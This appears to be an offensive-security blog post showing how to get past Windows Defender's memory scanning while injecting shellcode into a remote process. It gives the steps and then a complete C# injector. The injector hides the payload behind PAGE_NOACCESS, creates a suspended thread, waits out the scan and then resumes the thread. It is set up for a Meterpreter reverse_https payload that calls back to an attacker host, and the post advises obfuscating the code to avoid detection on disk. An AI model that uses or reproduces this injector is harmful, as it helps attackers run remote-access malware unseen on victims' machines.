Windows Defender Memory Scanning Evasion

Windows Defender scans memory when functions such as CreateProcess and CreateRemoteThread are called. F-Secure have documented this behavior in their blog post here.

This causes problems injecting shellcode into a remote process. As previously covered, injecting into a remote process using PInvoke in C# is as simple as;

                IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
                IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
                IntPtr outSize;
                WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
                IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

Unfortunately, when CreateRemoteThread is called the shellcode will be scanned by Defender, killing the process.

To get around this, we need to carry out the following steps;

  1. Get a handle to the target process. GetProcessesByName will work for this purpose.
  2. Open the target process using OpenProcess.
  3. Call VirtualAllocEx to allocate memory within the target process.
  4. Use WriteProcessMemory to copy our malicious code to the target.
  5. Call VirtualAllocEx again to set PAGE_NO_ACCESS on the area of memory.
  6. Use CreateRemoteThread to spawn a suspended thread.
  7. Wait for Defender to attempt to carry out it’s scanning, which will fail as it’s unable to read the memory.
  8. Use VirtualAllocEx (again!) to set the permissions back to PAGE_EXECUTE_READWRITE.
  9. Finally, call ResumeThread to start our thread.

The parameters to be passed to these functions are mostly covered in the previous post on process injection, with the following exceptions;

Creating a Suspended Thread

Creating a suspended requires us to set the dwCreationFlags to 0x00000004 when calling CreateRemoteThread.

CREATE_SUSPENDED 0x00000004The thread is created in a suspended state, and does not run until the ResumeThread function is called.
HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);

Making the initial call to CreateRemoteThread;

CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0x00000004, out hThread);

The thread can later be activated using ResumeThread(hThread).

Setting PAGE_NO_ACCESS

To mark the memory so it can’t be read by Defender, set the flNewProtect argument to 0x01:

PAGE_NOACCESS 0x01Disables all access to the committed region of pages. An attempt to read from, write to, or execute the committed region results in an access violation.
BOOL VirtualProtectEx(
  [in]  HANDLE hProcess,
  [in]  LPVOID lpAddress,
  [in]  SIZE_T dwSize,
  [in]  DWORD  flNewProtect,
  [out] PDWORD lpflOldProtect
);

Our call to VirtualProtectEx;

            VirtualProtectEx(hProcess, addr, (UIntPtr)buf.Length, 0x01, out uint lpflOldProtect);

The below code will allow injecting a Meterpreter agent into memory avoiding scanning. There are two important things to note;

  • If Meterpreter then attempts to migrate into another process or execute a system shell using CreateProcess/CreateRemoteThread that code will be scanning by defender and likely killed. You can however use the same C# code to migrate into other processes 🙂
  • The code, particularly the P/Invoke statements will likely be detected by on disk Defender scanning. Use obfuscation as necessary…

Code

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace ProcessInjection
{
    internal class Program
    {

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        //Below imports required to resume thread
        [DllImport("kernel32.dll")]
        static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern uint ResumeThread(IntPtr hThread);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);


        static void Main(string[] args)
        {
            //msfvenom -p windows/x64/meterpreter/reverse_https LHOST=x.x.x.x LPORT=443 exitfunc=thread --format base64
            string b64_payload = "/EiD5PDozAAAAEFRQ*SNIP*";
            byte[] buf = System.Convert.FromBase64String(b64_payload);

            // Get the target PID to inject into
            int pid = 0;
            try
            {
                Process[] expProc = Process.GetProcessesByName("notepad");
                pid = expProc[0].Id;
                Console.WriteLine("Target PID: " + pid.ToString());
            }
            catch (Exception ex)
            { 
                Console.WriteLine("Error finding target PID: " + ex.ToString());
                Environment.Exit(0);
            }

            //Inject!
            try
            {
                IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
                IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
                IntPtr outSize;
                WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);

                //Mark memory as PAGE_NO_ACCESS (0x1)
                VirtualProtectEx(hProcess, addr, (UIntPtr)buf.Length, 0x01, out uint lpflOldProtect);

                // Create suspended remote thread
                IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0x00000004, out hThread);

                //Sleep whilst AV scans memory
                Console.WriteLine("Sleeping...");
                System.Threading.Thread.Sleep(15000);

                // Mark memory as executable again; PAGE_EXECUTE_READWRITE (0x40)
                VirtualProtectEx(hProcess, addr, (UIntPtr)buf.Length, 0x40, out lpflOldProtect);

                Console.WriteLine("Starting Thread...");

                // Resume Thread
                ResumeThread(hThread);
            }
            catch (Exception ex)
            {
                Console.WriteLine("Error creating remote thread: " + ex.ToString());
            }
            Console.ReadLine();
        }
    }
}